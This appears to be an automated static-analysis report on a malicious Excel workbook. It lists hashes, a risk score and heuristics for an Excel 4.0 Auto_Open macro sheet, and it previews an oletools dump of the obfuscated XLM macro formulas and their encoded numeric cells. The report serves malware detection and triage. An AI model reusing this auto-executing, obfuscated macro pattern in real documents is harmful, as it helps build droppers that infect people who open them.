Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eccbf43ed04fae40…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:41 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: a10a2ef0500b735ce9b2d76ae7c4fdb5 SHA-1: 2f712e0d34f0bb09c131902b16b5d2550c101c28 SHA-256: eccbf43ed04fae4059d06db0644c83db6404a36c3ea9228f32cec2e0db8b8b7a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6926 bytes
SHA-256: 3afc2e9421aa73ab59506779f8de92877075eb799f5a9959ac278e761679b4b4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QveQMDyRmyQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B150 
' 0018     23 LABEL : Cell Value, String Constant - BVlXkItt len=0 
' 0018     21 LABEL : Cell Value, String Constant - ddSZjM len=0 
' 0018     26 LABEL : Cell Value, String Constant - dsetnWjbvAt len=0 
' 0018     21 LABEL : Cell Value, String Constant - EcSJln len=0 
' 0018     27 LABEL : Cell Value, String Constant - KXyyMgQrFfBy len=0 
' 0018     26 LABEL : Cell Value, String Constant - lwjKsSsYWdd len=0 
' 0018     27 LABEL : Cell Value, String Constant - mjuZxNDxfMFy len=0 
' 0018     22 LABEL : Cell Value, String Constant - NqfNcUQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - oOkjPqpq len=0 
' 0018     26 LABEL : Cell Value, String Constant - psbnEpLPACl len=0 
' 0018     23 LABEL : Cell Value, String Constant - satoyUNI len=0 
' 0018     21 LABEL : Cell Value, String Constant - TDDekl len=0 
' 0018     26 LABEL : Cell Value, String Constant - tZkUHPKUNwj len=0 
' 0018     24 LABEL : Cell Value, String Constant - UXsNwFgRX len=0 
' 0018     20 LABEL : Cell Value, String Constant - UXVzo len=0 
' 0018     25 LABEL : Cell Value, String Constant - VbZKAqxZCH len=0 
' 0018     24 LABEL : Cell Value, String Constant - WJOOxqbAD len=0 
' 0018     27 LABEL : Cell Value, String Constant - YEGdBdmmhscB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZqgobW len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZwBZTQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QveQMDyRmyQ,P53,"",229.00000000000000000000
'  QveQMDyRmyQ,P54,"",-124.00000000000000000000
'  QveQMDyRmyQ,P55,"",238.00000000000000000000
'  QveQMDyRmyQ,P56,"",571.00000000000000000000
'  QveQMDyRmyQ,B57,"SET.NAME("lwjKsSsYWdd",0+VALUE("0"))",""
'  QveQMDyRmyQ,P57,"",364.00000000000000000000
'  QveQMDyRmyQ,P58,"",924.00000000000000000000
'  QveQMDyRmyQ,B60,"SET.NAME("EcSJln",lwjKsSsYWdd)",""
'  QveQMDyRmyQ,B63,"SET.NAME("KXyyMgQrFfBy",lwjKsSsYWdd)",""
'  QveQMDyRmyQ,B66,"SET.NAME("VbZKAqxZCH",COUNTA(NqfNcUQ))",""
'  QveQMDyRmyQ,B70,"SET.NAME("YEGdBdmmhscB",COUNTA(oOkjPqpq))",""
'  QveQMDyRmyQ,B75,[],""
'  QveQMDyRmyQ,B79,"SET.NAME("WJOOxqbAD","")",""
'  QveQMDyRmyQ,B81,"EcSJln",""
'  QveQMDyRmyQ,B85,"SET.NAME("ZqgobW",HLOOKUP("*",NqfNcUQ,EcSJln,FALSE))",""
'  QveQMDyRmyQ,B88,"ddSZjM",""
'  QveQMDyRmyQ,B93,"SET.NAME("UXsNwFgRX",lwjKsSsYWdd)",""
'  QveQMDyRmyQ,B95,[],""
'  QveQMDyRmyQ,B100,"UXsNwFgRX",""
'  QveQMDyRmyQ,B103,"psbnEpLPACl",""
'  QveQMDyRmyQ,B105,"dsetnWjbvAt",""
'  QveQMDyRmyQ,B107,"ZwBZTQ",""
'  QveQMDyRmyQ,B110,"SET.NAME("tZkUHPKUNwj",VALUE(HLOOKUP("*",oOkjPqpq,ZwBZTQ,FALSE)))",""
'  QveQMDyRmyQ,B114,"BVlXkItt",""
'  QveQMDyRmyQ,B119,"WJOOxqbAD",""
'  QveQMDyRmyQ,B123,"KXyyMgQrFfBy",""
'  QveQMDyRmyQ,B128,NEXT(),""
'  QveQMDyRmyQ,B132,"satoyUNI",""
'  QveQMDyRmyQ,B134,[],""
'  QveQMDyRmyQ,B137,"TDDekl",""
'  QveQMDyRmyQ,B140,NEXT(),""
'  QveQMDyRmyQ,B145,RETURN(),""
'  QveQMDyRmyQ,B171,"SET.NAME("UXVzo",B57)",""
'  QveQMDyRmyQ,B173,"NqfNcUQ",""
'  QveQMDyRmyQ,B175,"SET.NAME("oOkjPqpq",R70C15)",""
'  QveQMDyRmyQ,B180,"SET.NAME("TDDekl",189)",""
'  QveQMDyRmyQ,B185,"SET.NAME("mjuZxNDxfMFy",2)",""
'  QveQMDyRmyQ,B188,UXVzo(),""
'  QveQMDyRmyQ,B189,HALT(),""

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